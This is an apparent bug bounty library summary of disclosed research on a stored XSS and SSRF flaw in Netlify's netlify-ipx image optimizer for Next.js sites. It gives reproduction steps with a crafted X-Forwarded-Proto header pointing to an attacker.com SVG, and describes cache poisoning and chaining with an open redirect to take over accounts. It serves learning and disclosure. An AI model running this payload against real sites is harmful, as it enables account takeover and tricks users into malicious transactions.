# <![CDATA[Exploiting Web3's Hidden Attack Surface: Universal XSS on Netlify's Next.js Library]]>

Netlify's netlify-ipx image optimizer trusted the X-Forwarded-Proto header, letting attackers overwrite the fetch URL and cache a malicious SVG for stored XSS and SSRF on any Next.js site.

- Payout: Research
- Severity: high
- Program: Netlify netlify-ipx
- Credited: Sam Curry
- Disclosed: 2022-09-21
- Write-up quality: 8/10
- Original: https://samcurry.net/universal-xss-on-netlifys-next-js-library
- Library page: https://bugbountylibrary.com/r/blog%3Asamcurry-net-universal-xss-on-netlifys-next-js-library
- Tags: domain:web3 impact:ato impact:integrity kind:research platform:research sev:high tech:nextjs technique:chained technique:source-review vuln:open-redirect vuln:ssrf vuln:xss

**Target:** Next.js image optimization route /_ipx/ on Netlify
**Root cause:** The handler builds the fetch URL from the attacker-controlled X-Forwarded-Proto header without validation, and the response is cached by request URI, so a malicious SVG fetched once is served to later visitors.
**Steps:**
1. Send `GET /_ipx/example.svg` with header `X-Forwarded-Proto: http://attacker.com/malicious.svg?` to any Netlify site running netlify-ipx.
2. Server proxies to attacker.com and returns the malicious SVG (image/svg+xml) with XSS payload.
3. Copy the full request URL and open it without the header; the cached response returns the malicious SVG, executing JS in the victim's origin.
**How found:** Audited the Next.js image optimization ecosystem after noticing nearly all Web3 sites run Next.js on Netlify/Vercel. Found /_next/image followed redirects and returned full HTML on errors, then pivoted to /_ipx/, read the open-source netlify-ipx code, and spotted the X-Forwarded-Proto header being interpolated into the fetch URL.
**Exploitation:** Attacker hosts an SVG with JavaScript, sends one request with a crafted X-Forwarded-Proto header to poison the cache at a chosen /_ipx/ URI, then distributes that URL to victims; the cached SVG executes in the target site's origin, enabling tampering with Web3 contract interactions or OAuth-based account takeover via the separate open redirect.
**Escalation:** Chained with the /_next/image open redirect (via backslash path parsing) on OAuth-whitelisted callback domains to achieve account takeover; stored XSS on crypto sites could trick users into signing malicious transactions.
**Insight:** Image-optimizer proxy routes are a rich SSRF/XSS surface: read the open-source handler for headers interpolated into the outbound URL (X-Forwarded-Proto, Host) and check whether responses are cached by request URI, turning a one-shot SSRF into stored XSS.